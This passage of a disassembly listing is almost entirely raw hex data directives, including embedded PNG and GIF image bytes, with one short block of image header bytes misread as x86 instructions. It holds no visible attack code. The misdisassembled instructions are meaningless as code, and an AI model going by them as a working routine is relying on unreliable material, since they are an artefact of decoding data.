		dd 0D5BA133h, 68BF58ABh, 756038D5h, 0AB4D68ACh,	0CF5ABB1Ah
		dd 0AD539275h, 62B8D70h, 0B9567ACBh, 74AE55DAh,	0F75DEB7Dh
		dd 0E60457CAh, 0D7D9EF5h, 0AFF5C6Ch, 161AC156h,	0E76D84ADh
		dd 0D5BB1761h, 0B19402C4h, 63AA6590h, 0A9594B23h, 98B2B64Eh
		dd 3365EA2Dh, 6E9C59CBh, 7DA0B3B6h, 4B4367E9h, 0B68E915Ah
		dd 0E8ADA8B4h, 5ACB5369h, 0B5B6AE86h, 0E8FE15B0h, 5B4B636Bh
		dd 0B6B6CE7Ch, 6DE745B8h, 6FDBCB73h, 0C0B7B6EEh, 836FE6B5h
		dd 0E66DC4Bh, 15C8B8B7h, 0CB9371E6h, 0B72E5C5Ch, 0E59DD0B9h
		dd 5D4BA373h, 0BAB74E54h, 75E4EDD8h, 485DCBB3h,	0E0BBB76Eh
		dd 115B267Dh, 9AF0D8AAh, 3DDF93D7h, 98F37AAFh, 0F7BAF5DEh
		dd 0AF7DED8Ch, 0DF18C57Ch, 8BB7DAF9h, 7EAFBDF5h, 68DE3A1Dh
		dd 0BF7616h, 37E6346h, 0E0CE04Ch, 0A608C0B8h, 0CC1381E0h
		dd 0B82E07E0h, 0E05610C1h, 0E11C2383h, 0C1B85309h, 8270BE16h
		dd 2E1AC33h, 1C3B873h, 0F78830FEh, 0DF11E22Bh, 9E26C4B7h
		dd 0FC538A2Fh, 78B315DEh, 0F17E2EBDh, 0E32C6379h, 0C6B8D2F0h
		dd 8E31BDDDh, 1DE3ABB3h, 3EC7B757h, 83902E8Eh, 1321DCDCh
		dd 3E46B939h, 0AC937172h, 0B932E0E4h, 327DBDC9h, 0E52B7394h
		dd 0CAB6D729h, 962D8E56h, 2DDADCB3h, 5EB53973h,	0C36972FEh
		dd 92D0E62Ch, 3D9DCCB9h, 339AFE33h, 5735E6ABh, 8E6ECDB6h
		dd 0CCE39C2Ch, 0F9D339D8h, 0B3BE76B0h, 0E7ACF360h, 0CFB9F2BEh
		dd 0A033FD7Bh, 41E82AEDh, 0DABFB60Fh, 0E5A1AFFCh, 0A745E85Bh
		dd 1E8ED1B5h, 1D23A42Bh, 5A5349D6h, 34BE96ABh, 69AD3355h
		dd 0ABFA22CBh, 8DB4EDE5h, 0C056ED3Fh, 0F4D47A8Ah, 4F63EF24h
		dd 0FB5263CDh, 6ACAF53h, 4D63A72Fh, 0DAD359D4h,	0B5BEB6A7h
		dd 510D5D67h, 0C7FAEB58h, 0AFA8C6BCh, 60E42D7Fh, 0C4D8747Fh
		dd 4DB1B22Eh, 2364EC8Ah, 6D2DD979h, 0C97B3B6h, 7B4A9A6Dh
		dd 0F6AE4EDAh, 0ED8DAF4Eh, 0A85B6B28h, 9536EEDCh, 70D49DBFh
		dd 0E4CAFB8Bh, 0CFB9AA86h, 5F74E5ADh, 0EEECDD75h, 0ACDBBB2h
		dd 798378EFh, 37B575DEh, 6FAD736Bh, 0DEBBE2D5h,	0BFF336FDh
		dd 74701D4Dh, 0A1BFDAA7h, 0FBB782Eh, 2B84E89Eh,	70CDE5Ch
		dd 7E1FAAF5h, 5A9788EFh, 0F7DF14D1h, 719E31C0h,	0E3BBF2D4h
		dd 0C838FD03h, 71BA49FEh, 0B41C8F87h, 3E793F22h, 78F2AE53h
		dd 0EFE5BCB2h, 75CC397Ch, 0CF89F25Bh, 0BF32B29Ch, 0AE733979h
		dd 0BCD6DF73h, 39FF28E7h, 0F3CB39D0h, 0E8B35FA1h, 0D0A99746h
		dd 0A5F38E93h, 388A1C83h, 5FC5B4F4h, 438A704Dh,	3F5286FDh
		dd 1E6DC228h, 0FD787FF0h, 0BB0F60EBh, 764EC7D8h, 8623F3AFh
		dd 7C3AE4D4h, 3563E9Dh,	0CF1A2382h, 0E6347B88h,	0D3BAF74Eh
		dd 0C0D11A5Dh, 0CEF3DEBBh, 0BDFBBDF7h, 0BBFF80EFh, 0F84F03E0h
		dd 0F0BE1BC1h, 0E2BC3F88h, 0C5F8CF13h, 90EEDE2Fh, 0C6357BB7h
		dd 52038F81h, 447DF2D3h, 71ED2AFAh, 421C7B0Fh, 0BD084E0Bh
		dd 7A4F47E8h, 0F4C11427h, 0EABD3FA8h, 0D5FACF53h, 0B0F5BEBBh
		dd 63ECBD7Fh, 0DBD9FB4Fh, 0BFB8F6BEh, 0CF73EEBDh, 5EFBD2FBh
		dd 0C4385AF4h, 0F91EE3Dh, 8FE3EA6Ah, 3C254F9Ah,	4509D1E2h
		dd 8E126284h, 0A6247E88h, 53EAFD4Fh, 0C091117Fh, 0FE1C22FEh
		dd 7BEE0881h, 0FFE0FBBFh, 4FB3F73Eh, 0FF97ED7Eh, 3F4FE6FCh
		dd 0FEAFD7FAh, 0FDFFB3F6h, 0FC3F8FEEh, 0FAFF2FE7h, 0F8FADF9Fh
		dd 1DF47E9Fh, 40508931h, 0A0F513A2h, 7C74B876h,	0A87C947Eh
		dd 40F70F44h, 0AF07D06h, 0B60B90B6h, 18100B70h,	81381281h
		dd 16815814h, 98188178h, 81B81A81h, 1E81D81Ch, 0B82081F8h
		dd 0B680F81h, 6A0810AFh, 0C7980F70h, 7998044Ch,	0FA55B76Ch
		dd 10740EB0h, 0B80AC0Bh, 0C40C20C4h, 98380C30h,	83B83A83h
		dd 3E83D83Ch, 184083F8h, 84384284h, 46845844h, 18488478h
		dd 0C483584h, 0B10AC0B8h, 0B0EB0770h, 7C882A82h, 0FA55A82Dh
		dd 0B0A70950h, 0CC0C00Ah, 5E0E60C9h, 186085F8h,	86386286h
		dd 66865864h, 98688678h, 86B86A86h, 6E86D86Ch, 0C0E186B8h
		dd 0A90C00Ch, 520950A5h, 18774CB8h, 5598554Ah, 0B207A0F9h
		dd 50E70B30h, 0EC0DF0Eh, 86885884h, 88FE8878h, 0B88A8898h
		dd 88D88C88h, 9088F88Eh, 38928918h, 89189489h, 0E70E50E9h
		dd 0A0B20B30h, 4C387907h, 647889Dh, 30F94A78h, 0BB0AE07h
		dd 0F00EF0FFh, 0B8AA0EE0h, 8AD8AC8Ah, 0B08AF8AEh, 38B28B18h
		dd 8B58B48Bh, 0B88B78B6h, 88BA8B98h, 0FF0EF8Bh,	730B10BDh
		dd 24C189F0h, 8A14698Ch, 680F74A0h, 50BA0A80h, 8CD8CC76h
		dd 0D08CF8CEh, 2068CF8h, 8D100176h, 0D88D78D6h,	0E8D68D98h
		dd 680AE0Bh, 0DF4BF8C4h, 0D75376B8h, 5597556Bh,	0A40680F6h
		dd 0B8DA8CB0h, 8D68EC8Eh, 5F8D4204h, 38ED8D57h,	8F58F48Fh
		dd 0A80BC75Eh, 14D38DE0h, 8C64668Eh, 6C0F449Fh,	70B50A00h
		dd 7574750Fh, 1438906h,	9094360h, 90790B0Fh, 0F244890Eh
		dd 30B60F70h, 8FC06C0Ah, 59164B7h, 56C28E35h, 9005548Eh
		dd 0F00B209Ch, 30DF0E80h, 92592492h, 28927926h,	0B92A9299h
		dd 92C92C92h, 2F92B001h, 692FE39h, 49339252h, 92D93592h
		dd 3A939938h, 892593B9h, 0B10F00Eh, 0FB91509Bh,	791A8548h
		dd 55391C6Ch, 0B1098900h, 90DF0ED0h, 94F94E0Dh,	52951950h
		dd 59549539h, 95795695h, 56001957h, 0C0D995A9h,	95C94E95h
		dd 5F95D95Eh, 89619509h, 96796695h, 0D9969968h,	90ED0DF0h
		dd 9420890Ah, 639184CEh, 849E8FE4h, 8D06C0Fh, 0DF0EC0ADh
		dd 0D97C0D60h, 97F97E97h, 82981980h, 59849839h,	198598h
		dd 0D6988984h, 0A97C98A0h, 97E98C98h, 8698F98Fh, 59949939h
		dd 0D699699h, 840A6883h, 24CD9700h, 87B5F497h, 6C0F9554h
		dd 0B0A40860h, 0D30DC0Eh, 0AA9A99A8h, 0D9AC9AB9h, 9AF9AE9Ah
		dd 0B19B19B0h, 49B00019h, 9B60D39Bh, 49B89A8h, 82DB9AB2h
		dd 9BF9B29Bh, 0C29C19C0h, 0B0DC9A89h, 800A00Eh,	585399Ch
		dd 65539A08h, 7F06C0Fh,	0DB0EA09Eh, 59D40CD0h, 9D79D69Dh
		dd 0DA9D99D8h, 0DC9DB9FEh, 19DD9DD9h, 9E09DC00h, 0D49E20CDh
		dd 49E59E49h, 9DE9E69Eh, 0EC9EB9EAh, 0B9D89ED9h, 9B0EA0Dh
		dd 789C907Eh, 0D75A9448h, 54B80270h, 9A07E900h,	0E0D90E90h
		dd 0A01A000Ch, 4A03A02h, 7A06A05Ah, 0A09A08A0h,	4001A0Ah
		dd 0E0CEA0CAh, 0A00A0EA0h, 10A02A11h, 7A16A0AAh, 0A19A18A1h
		dd 0E90D9A08h, 0E9F30990h, 0A204B399h, 0CC94555Ch, 0C5539476h
		dd 9407B06h, 1A0D00DDh,	0FA2EA2DAh, 0A13A14A2h,	1A15A11h
		dd 7A12A34Ah, 0A30A35A3h, 7A3BA3Ah, 40DD0D0Ah, 9F407B09h
		dd 64A224CAh, 0F5529CC5h, 760680Eh, 3C9FF094h, 3A4EA4DAh
		dd 0A14206A0h, 31205A35h, 3A55204Ah, 0A59A4FA1h, 980D9A2Dh
		dd 18FA06F0h, 55E9F697h, 53726717h, 0B069A485h,	0A69A5AA4h
		dd 6CA6BA6Ah, 90CEA6DAh, 690970Dh, 6199DA5Fh, 0C75456DAh
		dd 0EF55471h, 9B06F06Eh
		dd 0E0D70DD0h, 0A81A80A6h, 0FEA83A82h, 3F0D7A01h, 406E06FAh
		dd 0A8A4AAA4h, 4DA465F8h, 0F0780F35h, 0BF08306h, 0CB0CA0C5h
		dd 9A98A970h, 0A9BA9AA9h, 9EA9DA9Ch, 1AA0A9FAh,	0AA3AA2AAh
		dd 0A6AA5AA4h, 0AAA4AA7Ah, 0BF0C50Ch, 7806F07Ch, 5807A8C0h
		dd 5696AAA7h, 660950F8h, 0A08F0550h, 0C60C10Ah,	0BEABD0C8h
		dd 1AC0ABFAh, 0AC3AC2ACh, 0C60C70C8h, 9AC8AC7Ah, 0ACBACAACh
		dd 0C40C7ACCh, 1AD0ACFAh, 0AD3AD2ADh, 0C4AD5AD4h, 0A0C1AC6Ah
		dd 5508F0Ah, 0D3876065h, 79199F94h, 5697129Fh, 6004A82Fh
		dd 308905F0h, 0AEB0AB0Ah, 0EEAEDAECh, 1AF0AEFAh, 0ACAEBAFh
		dd 0F6AF5AF4h, 9AF8AF7Ah, 0ACAFAAFh, 0FEAFDAF2h, 1B00AFFAh
		dd 0B03B02B0h, 0A3AF4AF2h, 5F0890h, 85104806h, 9D97454Bh
		dd 205D8084h, 6F06004h,	1607F07Eh, 9B18B17Bh, 0B1BB1AB1h
		dd 1EB1DB1Ch, 1B20B1FBh, 0B23B22B2h, 26B25B24h,	7EB23Bh
		dd 4206007h, 82FE805Dh,	92A8EB0Dh, 509F0F05h, 5307508h
		dd 38B3704Fh, 0FB3AB39Bh, 0B3B04904h, 40B3FB3Eh, 3B42B41Bh
		dd 0B45B44B4h, 48B47B46h, 7B3DB46Bh, 75053B4h, 6409F085h
		dd 0EB0E531Ah, 8C79D49h, 5805005Eh, 0BB5AB59Bh,	46050B5h
		dd 60B5FB5Ch, 3B62B61Bh, 0B65B64B6h, 68B67B66h,	0EB67B69Bh
		dd 5EB68B5h, 297C308Ch,	2B306B58h, 0FA0F459h, 0D80DA0E8h
		dd 0BB7AB790h, 0D8B7CB7h, 800D50D4h, 3B82B81Bh,	0B85B84B8h
		dd 88B87B86h, 0BB8AB89Bh, 0B8DB8CB8h, 7FB8FB8Eh, 0AB7AB8BBh
		dd 0FB0E40Dh, 24B72B71h, 0DA266D1Ah, 0B9D8F691h, 0A0B9FB9Eh
		dd 78D0BA1Bh, 0B52B5176h, 0F54DB73h, 0BBAABA99h, 759907BAh
		dd 0A5A77A62h, 3BAC553Bh, 0BB5BB4BBh, 76BAE444h, 0CA788E4Ah
		dd 0B5358174h, 0BE4BEBBCh, 14B7BBFBh, 4B5BC2BCh, 0D2BC5BC4h
		dd 8BC8BA75h, 0BCBBCA58h, 59574562h, 6BCE45B4h,	0F946B58h
		dd 0BB94CB6Dh, 4042E1BFh, 69054300h, 0BDFBDEBBh, 0E2BE1BE0h
		dd 5BE4BE3Bh, 434BE6BEh, 4B454452h, 41CF4560h, 0B9743040h
		dd 28571BD3h, 842C42A4h, 3DB4713Dh, 0FA3FD3DDh,	0DBFCBFBBh
		dd 0BFFBFEBFh, 2C01C00h, 5C04C03Ch, 3FF3ECC0h, 340242Ah
		dd 0D3D33B44h, 0C0FC0EC0h, 12C11C10h, 5C14C13Ch, 0C17C16C1h
		dd 0D53C3C18h, 41C6BEC3h, 3AD13C39h, 22C21C20h,	5C24C23Ch
		dd 0C27C26C2h, 2AC29C28h, 0E168C2BCh, 0BF6C1C46h, 32390380h
		dd 5C34C33Ch, 0C37C36C3h, 3AC39C38h, 2382C3BCh,	0C3F37D39h
		dd 42C41C40h, 5C44C43Ch, 0C47C46C4h, 4AC49C48h,	0DC4CC4BCh
		dd 0C4FC4EC4h, 52C51C50h, 5C54C53Ch, 0C57C56C5h, 5AC59C58h
		dd 1C4AC5BCh, 3B0010h, 474E5089h, 0A1A0A0Dh, 0D000000h
		dd 52444849h, 0F000000h, 13000000h, 608h, 57C24F00h, 0AAh
		dd 474B6206h, 0FF0044h,	0A0FF00FFh, 93A7BDh, 49F60200h
		dd 78544144h, 0CD938DDAh, 1855634Fh, 0DCE77FC6h, 50A1697Bh
		dd 4C2DB94Ah, 0E92285A6h, 0A2247190h, 5C6E8909h, 75B230B8h
		dd 0C8574B31h, 4CC6E11Fh, 5C6BD842h, 67FA1712h,	8D1ADC68h
		dd 0C98CDF8Eh, 0E8F90F84h, 0D2942D00h, 7BDEF6DBh, 70545CBEh
		dd 0C93E8D9Ch, 0CE7ABBC9h, 79E73BFBh, 0B1B1B15Fh, 0FAFAE1F1h
		dd 5AD607FAh, 421273CBh, 439CE000h, 9B35E108h, 0F6F6D6CDh
		dd 272727F6h, 41079F27h, 0C3D7AF40h, 0A5AB56AFh, 1AD5D5D5h
		dd 0B9F9ADFFh, 0B78FB9B9h, 0CEDCB6B6h, 4217CECEh, 24926408h
		dd 24924009h, 0D68A69A4h, 0D635AD0Ah, 1835AC68h, 0B7680063h
		dd 952A54DBh, 0E6E6E6C2h, 0E54AD5A7h, 0D214AA61h, 0E78B7739h
		dd 0D09C7E80h, 75F80FEBh, 67678CEFh, 5065522Dh,	0CD9A30CAh
		dd 1366CD2h, 7A3D1FF2h,	0B94CD9F4h, 0C37FAEFCh,	4E9279E4h
		dd 0FBEFCFB7h, 4EC822Dh, 6F6812B1h, 10670B94h, 0D72CC7D7h
		dd 75EBD4ABh, 2E2C318Ch, 0D6D6E62Eh, 3793DED6h,	0CFA756E6h
		dd 98268EB3h, 154FD128h, 3522BE3Ah, 924C7229h, 0BC381529h
		dd 228A22B8h, 41A4860h,	7E192041h, 453DD72Ah, 0EED24CCBh
		dd 7DDD10B4h, 4219CB16h, 797BA23Fh, 609F9C4Eh, 0E89CFCF7h
		dd 7EFE0AEAh, 0F8CA52A6h, 3C40D002h, 0F4EA2396h, 0DE0D3B88h
		dd 3147B95Ch, 94AAC19Ch, 0DEC5A4F8h, 30C505E9h,	0E22A9FA4h
		dd 60F180C1h, 0BE1CE704h, 0DA70214h, 0EC73ABCDh, 99D99668h
		dd 18CCB190h, 0B5831C49h, 34138B94h, 0F0F0E594h, 0CA53A100h
		dd 0ECDBF1F9h, 408EB1A4h, 0F3A7E64Ah, 7166554Ch, 28CB90A5h
		dd 368D3842h, 0A4B16729h, 76449DD9h, 15285847h,	6B779E11h
		dd 201085F6h, 25C5D105h, 4C07BB47h, 0C7E7DC2Eh,	7CFF43C8h
		dd 69A7F688h, 0A7DA3B5Ch, 0C5A051BFh, 5A8669F7h, 83EAF2CFh
		dd 66F9A189h, 0D3CA972Ah, 5F0CBD64h, 0DA716E3Eh, 192E01Ch
		dd 0DE88E751h, 50859B75h, 1777BB53h, 91DD0565h,	371C7F3Ch
		dd 0FFE14AD1h, 2A5010C3h, 3C1FB8E4h, 0E18EE961h, 780EEFABh
		dd 99866EFDh, 2EBA2507h, 53CC294Bh, 0A6F8A709h,	6E32E031h
		dd 37F87381h, 29271613h, 0F5BC14BEh, 4386BC6h, 0C9E7D4AFh
		dd 82F1C6E5h, 0BC7EBE11h, 117B0FCFh, 7C251CBFh,	0EF1ED3FBh
		dd 2644B3BFh, 675CF23Bh, 6F61186h, 42F90031h, 2A35AD11h
		dd 4DA9584Dh, 21E9E4F2h, 0B31E7FBBh, 277210B2h,	1DB5A3CCh
		dd 0F17E76h, 12F0F1C4h,	4D4D4C01h, 97EDF0F2h, 0A8979249h
		dd 0F2E486CCh, 0F8B5B445h, 94A42862h, 62F20BB7h, 74C5124Dh
		dd 1E1080B1h, 632124FDh, 0E108522Ch, 9A456B5Bh,	10A528A6h
		dd 74CBFC42h, 0E738493h, 992DD4A5h, 8C630A52h, 756AD514h
		dd 2DAB56B9h, 0FF0CA52Bh, 0AF4A5253h, 0FD3C68D1h, 9DCB690Bh
		dd 0C9ED7997h, 2, 4E454900h, 6042AE44h,	82h, 0
; ---------------------------------------------------------------------------
		inc	edi
		dec	ecx
		inc	esi
		cmp	[ecx], bh
		popa
		push	84001700h
		adc	eax, 0CFCFFF00h
		call	eax
		sar	bh, 1
		fstp9	st(7)
		jmp	ecx
; ---------------------------------------------------------------------------
		dd 0E3E3FFE1h, 0FFE4E4FFh, 0E6FFE5E5h, 0E7E7FFE6h, 0FFE8E8FFh
		dd 0ECFFE9E9h, 0EEEEFFECh, 0FFEFEFFFh, 0F1FFF0F0h, 0F2F2FFF1h
		dd 0FFF3F3FFh, 0F5FFF4F4h, 0F6F6FFF5h, 8 dup(0FFFFFFFFh)
		dd 4F921FFh, 1F000A01h,	2C00h, 680000h,	5000017h, 8E27E0FEh
		dd 689E6964h, 0EB6CAEAAh, 0CD44027Eh, 78DF6D74h, 0EF7CEFAEh
		dd 68C110DBh, 8F1A2BF0h, 206524C8h, 0D09E4C82h,	0AD4A74A8h
		dd 0ACD8AF5Ah, 49110AD6h, 78B0E0BEh, 0CF9B2E4Ch, 2D1AB4E8h
		dd 0F0DFB88Ah, 0AF4E7CB8h, 0FCF8EFDBh, 0FBE909BDh, 828180FFh
		dd 86858483h, 22858887h, 8E8D8C0Fh, 9291908Fh, 96959493h
		dd 0E229597h, 9E9D9C9Bh, 0A2A1A09Fh, 0A6A5A4A3h, 0AA0D22A4h
		dd 0AEADACABh, 0B2B1B0AFh, 0B3B5B4B3h, 0BAB90C22h, 0BEBDBCBBh
		dd 0C2C1C0BFh, 22C2C4C3h, 0CAC9C80Bh, 0CECDCCCBh, 0D2D1D0CFh
		dd 0A22D1D3h, 0DAD9D8D7h, 0DEDDDCDBh, 0E2E1E0DFh, 0E60922E0h
		dd 0EAE9E8E7h, 0EEEDECEBh, 0EFF1F0EFh, 0F6F5F2E5h, 0E6F9F8F7h
		dd 0FEFD0822h, 0A0300FFh, 0A0B0481Ch, 0D0883C1h, 0B0C0388Ah
		dd 1087C3A1h, 489C4A23h, 8BC5A2B1h, 0DC621715h,	0C7A3B1C8h
		dd 18450C8Fh, 0A4B24918h, 452893C9h, 0C95CAA53h, 964BA5B2h
		dd 98140622h, 0CDA6B349h, 0EA73389Bh, 0A7B3C9DCh, 3E4C9D4Fh
		dd 0B449F804h, 48A3D1A8h, 118040Bh, 0A7810040h,	9D4AA350h
		dd 0D5AAB54Ah, 6AB358ABh, 0C0002A95h, 0C360AF8Bh, 21FB1D8Ah
		dd 3B0004h, 38464947h, 0E06139h, 0F70060h, 0F7F2E800h
		dd 0CFFFFFFFh, 0D5C6E5DEh, 4F4F4FDBh, 0F9FCFBFBh, 0F1EDFAF9h
		dd 7C7A78F5h, 0D2DAD9D8h, 0F0ECD4D3h, 0DBD6CFF3h, 0EEE3DFD9h
		dd 8582F8F4h, 0E3DED687h, 0D4E2DDD5h, 0E9E0E1DCh, 0ECE7DEEEh
		dd 0E3F4EFE6h, 0EBE2F1ECh, 0EFEAE1F0h, 0E2A9A6A1h, 0DCCEEDE9h
		dd 0E2DBCDE3h, 0D9E0D9CBh, 0F1E7E8E3h, 0F5F0E6F6h, 0E4F4EFE5h
		dd 0D1C9F3EEh, 0DDD9D1D5h, 0ABF4F0E8h, 908CB4B1h, 0EEEBE592h
		dd 0DFEBE8E2h, 706EE8E5h, 0FEFDFB71h, 0D4E2E1DFh, 0E0D1D7D6h
		dd 0EBE4D5E7h, 0DDECE8DFh, 0E1D8EAE6h, 0F6F2E9E5h, 0D9EFEBE2h
		dd 0D9CAF0E9h, 0DCD6C7DFh, 0DAEDE8DCh, 0F2E8E8E4h, 9D9B96F6h
		dd 0E5CAC7BFh, 0F8EFF0EDh, 0F1EFE9FBh, 63BEBCB5h, 5A596565h
		dd 0FFFFFE5Ah, 0A6CBCBCAh, 0F2ECA7A7h, 0DCDFDBEEh, 0FDCAD9CAh
		dd 0CFB2FDFEh, 0E0EDE2ACh, 0B4A4CAABh, 0D2B7AED0h, 0B3D3B9B1h
		dd 0BFB6D5BCh, 0C1A0BAD7h, 86BD9A8Eh, 0ACA1CFB3h, 0AD8596C9h
		dd 7BC09E5Ch, 6370BC98h, 0AE8C2693h, 5AAD8B5Bh,	5873BA9Dh
		dd 88570C88h, 118A5B0Dh, 92188F60h, 0B89A62B2h,	75BA9E6Eh
		dd 5C098B5Ch, 8A5B0A8Bh, 0B89590Ah, 7A0D8B5Dh, 0B0903B9Fh
		dd 56AC8D57h, 0B96EB89Dh, 92638FD1h, 8906208h, 5F088F60h
		dd 8D60088Eh, 88C5D08h,	8E3DA47Fh, 0A8884EAFh, 53B1914Bh
		dd 955AB999h, 0B69A5DB3h, 6ABA9F64h, 0B985C5AEh, 0DED195CCh
		dd 0C8E4DAB9h, 68CFE9E0h, 95660896h, 8936608h, 64089265h
		dd 8E620891h, 88D6208h,	7818986Eh, 0B7972A9Fh, 54B49455h
		dd 9D5AB598h, 0B2955EBCh, 63C1A359h, 9F62BEA1h,	0C6A961BCh
		dd 6BBDA26Ah, 0AB74C0A7h, 0C9B47BC3h, 9CD2C08Ah, 0CAA3D6C5h
		dd 0E1D6AED8h, 0DEF0EABEh, 0EFE9F5F1h, 0F8F5E7F3h, 0F3F9F7EFh
		dd 0A8E6E9E8h, 0C9AC67C5h, 6CC7AB6Ch, 0B169C1A6h, 0CAAF70CCh
		dd 6EC9AE6Fh, 0B570CBB0h, 0DBC77ACFh, 0B9E6D896h, 0B56FCAB0h
		dd 0D2B974CFh, 76D0B677h, 0B97AD5BCh, 0D7BE78D2h, 7DD6BD7Dh
		dd 0C17ED4BDh, 0E4D383D9h, 0ACE4D5A6h, 0D5B2E7D8h, 0E4D4B0E4h
		dd 0B1E7D9A7h, 0C6D8ECE7h, 0E5E5BDC6h, 0B5C1C4E3h, 0FFBEDBE5h
		dd 0B0C69BE3h, 0A1D5EF84h, 0F4ADE3FEh, 0E4FCABDBh, 0BFEAFFB6h
		dd 0FDD5F0FDh, 0D1FF6DC9h, 7CB5D57Ch, 0F49FDAFCh, 0A0B69BD4h
		dd 0A7DEFD76h, 0FC93BED6h, 0E5F5CBEBh, 36B2FEC8h, 0FE4EBCFEh
		dd 0BAF160C1h, 6BB9E864h, 0F579C9FBh, 0BFED78C6h, 81CEFC77h
		dd 0F574B7E0h, 0C5F080C9h, 89D3FE7Fh, 0E287CCF7h, 0D0F77EBCh
		dd 94D7FE8Eh, 0E894D3F9h, 0CDF08AC4h, 9AD7FB93h, 0EC95C9EAh
		dd 0ACDF55B0h, 72C5FE63h, 0F56DBFF4h, 97EA73C2h, 40A0E729h
		dd 0E0A4C4DCh, 6DCD509Fh, 3F7DCC14h, 0CBBECCDFh, 0BEDA5888h
		dd 0FEFEFEAEh, 0F7FCFCFCh, 0F2F2F7F7h, 0EDEDEDF2h, 0E7EAEAEAh
		dd 0ACACE7E7h, 2CACh, 0E00000h,	8000060h, 0D86D00FFh, 85F04180h
		dd 13088380h, 0B0C85C2Ah, 1087C3A1h, 489C4A23h,	8BC5A2B1h
		dd 7C1E3318h, 0C0861041h, 6C043081h, 0E4A380E8h, 53289380h
		dd 0B2C95CAAh, 3097CBA5h, 499CCA63h, 9BCDA6B3h,	0C4966B38h
		dd 8361D1h, 70052082h, 800221C8h, 9348A3D1h, 0B4CA5D2Ah
		dd 50A7D3A9h, 4A9D4AA3h, 0ABD5AAB5h, 0C88A8D58h, 4127E1C1h
		dd 8AB22191h, 0ACB64B1Dh, 0B168B3D9h, 7049F086h, 70B7DA68h
		dd 9B9DCAE3h, 178C2B96h, 0DDD02A37h, 5FAFB7CBh,	186E1FB9h
		dd 42D571C4h, 5A090483h, 2DC5BF8h, 1F151209h, 4C9E4AFEh
		dd 838E2C59h, 48D6A984h, 0BF5F8FDCh, 0F33B8B7Eh, 812FD7DBh
		dd 53A8CA8Ah, 597A4EABh, 2AA96640h, 17E3F05Ah, 0C5E7F3FAh
		dd 48B746FEh, 0EFB56160h, 0F5B7DDFh, 1FA09A98h,	6BB7CEE9h
		dd 0AFECEEE3h, 0D0E00F88h, 701DA3A3h, 1DD43870h, 0F679F62Dh
		dd 0B890BFCh, 0B85DE005h, 0ABF048FFh, 0D2E72FF6h, 4AB7ABD3h
		dd 0A7F5805Dh, 4ED367D9h, 0E812450h, 80761F11h,	0BC62D0D0h
		dd 0F848DB3Fh, 47AD7A2h, 7B54B816h, 0C3E535EFh,	2FDB368h
		dd 7D4B73DEh, 0D7142A0h, 81845116h, 1902192h, 709D4B86h
		dd 3E085342h, 0FA3F81F5h, 0EDE3834h, 8480594Fh,	91044868h
		dd 6C425342h, 2B09D468h, 8DC04560h, 0D460F004h,	38DC2B08h
		dd 48008C84h, 92098040h, 51808065h, 6465FA1Ah, 103D54h
		dd 56208795h, 0FA0A14F7h, 3F8FB3ECh, 5520B809h,	595DD905h
		dd 354D0F44h, 4904129h,	90D57980h, 81993400h, 0B0024790h
		dd 266F6A64h, 4F9BD7D9h, 87E4F935h, 54E8854Ch, 0D768063Fh
		dd 49910282h, 0FB68C285h, 0A0FF024h, 0A1F0214Dh, 70F000A2h
		dd 8230AE3h, 4002639h, 10646048h, 26851E95h, 0F0200F00h
		dd 94C1080h, 430F43D9h,	9A6408DCh, 42A9842h, 60200091h
		dd 98439882h, 0AC6950FFh, 82710826h, 8A502310h,	0DE4DA980h
		dd 31868428h, 8D41951Ah, 546A4946h, 50AC08A5h, 0EE4D91EAh
		dd 3C86A68Ah, 8E63DAE0h, 42012BDh, 0B03C2B05h, 4C1287C2h
		dd 128DECEBh, 52C98D0h,	0E788FAADh, 0F5365281h,	62553EC1h
		dd 0FC5522F9h, 982D954h, 0E39A865Ah, 9AC81210h,	52C6A7EBh
		dd 48B0696Ah, 10E9EA6Dh, 0EA252E3Ah, 0F098008Fh, 201251C0h
		dd 48AAD46Ch, 9A639ABEh, 6D70F713h, 801247C2h, 524D0500h
		dd 0C3066710h, 9002B51Ah, 290B22FDh, 0A1044305h, 50439BA6h
		dd 42982C90h, 90C23C2Ch, 0C3DC3F1Fh, 2C526D0Ah,	9C00C2ECh
		dd 63B44190h, 0BA679A32h, 4061014Ch, 4024BF95h,	1C0B5543h
		dd 41104FDDh, 1027538h,	0F3C03E1Bh, 5A4F33CCh, 129A9D29h
		dd 0A7ACAB29h, 0AFEA2522h, 430654Ah, 2AB71052h,	367651B1h
		dd 1490B05Ah, 0F6C7994h, 0C2390B1Fh, 9B16E4CCh,	6A72BFA9h
		dd 36D8FFh, 0B5892729h,	192F5651h, 0EC27DE77h, 4EDB2B9Ah
		dd 0D442B002h, 232B2B09h, 0E7BB4394h, 20F902D4h, 345582DDh
		dd 104FCD1Ch, 66253846h, 290A78ABh, 0E696D6ABh,	1B8FA9ACh
		dd 0F6F6C12h, 40403C23h, 6547ACh, 0BB6951EAh, 0DFDB76DAh
		dd 0A5372B82h
		dd 2499B774h, 8DEB3CB4h, 0FC19DF7Ah, 0A3926ABDh, 0B321ACF7h
		dd 0B7BAFA38h, 9F4694CEh, 0A39499AAh, 0B53796Bh, 0A22ED3E0h
		dd 6553E956h, 0BA04FF11h, 0EF56E8D4h, 0C7D64048h, 0A6D4AEA6h
		dd 94AEDF84h, 2D9FB5A8h, 0B30FFDACh, 6DE37BAAh,	0A6B0509Fh
		dd 0CD532A66h, 0B132956Ah, 32590DEDh, 0E35BF2h,	0ADC10237h
		dd 580F708Fh, 328EDC12h, 0C3DC638h, 5DA14672h, 14A5CECFh
		dd 165313Dh, 3F53E801h,	7D157080h, 41014D1Ch, 46529F30h
		dd 7D302B27h, 7244700Ah, 292FB94h, 0ACCC003Fh, 0D512744Dh
		dd 3B64C00Ah, 28ED5186h, 990F80Fh, 3BB562FFh, 4C010DFEh
		dd 0DCDE040Dh, 24AE46CCh, 477E4CA1h, 910C9DA1h,	0CA1EBA37h
		dd 33336C89h, 0D55B1301h, 2ED81E26h, 0E1E33367h, 8264C60Ah
		dd 86CB6813h, 0F6D28ADBh, 10807298h, 57016956h,	90D1C031h
		dd 31A58450h, 228E79A5h, 7612A400h, 30CDD923h, 0CA3AAC60h
		dd 0B2457CCDh, 5ACD4D32h, 10CA3266h, 5482354Dh,	455560ADh
		dd 72B59FACh, 6132BBF5h, 1A725ACBh, 45645299h, 71523F00h
		dd 956C9376h, 2374788Ch, 8525D1Dh, 87D67012h, 9EB1A948h
		dd 2B90EB81h, 0ACB740A0h, 25CAC695h, 246D2948h,	0E1F60142h
		dd 20B0AB80h, 12C02C00h, 0BEC2FE87h, 3A0DFCAAh,	0FCA5C1Eh
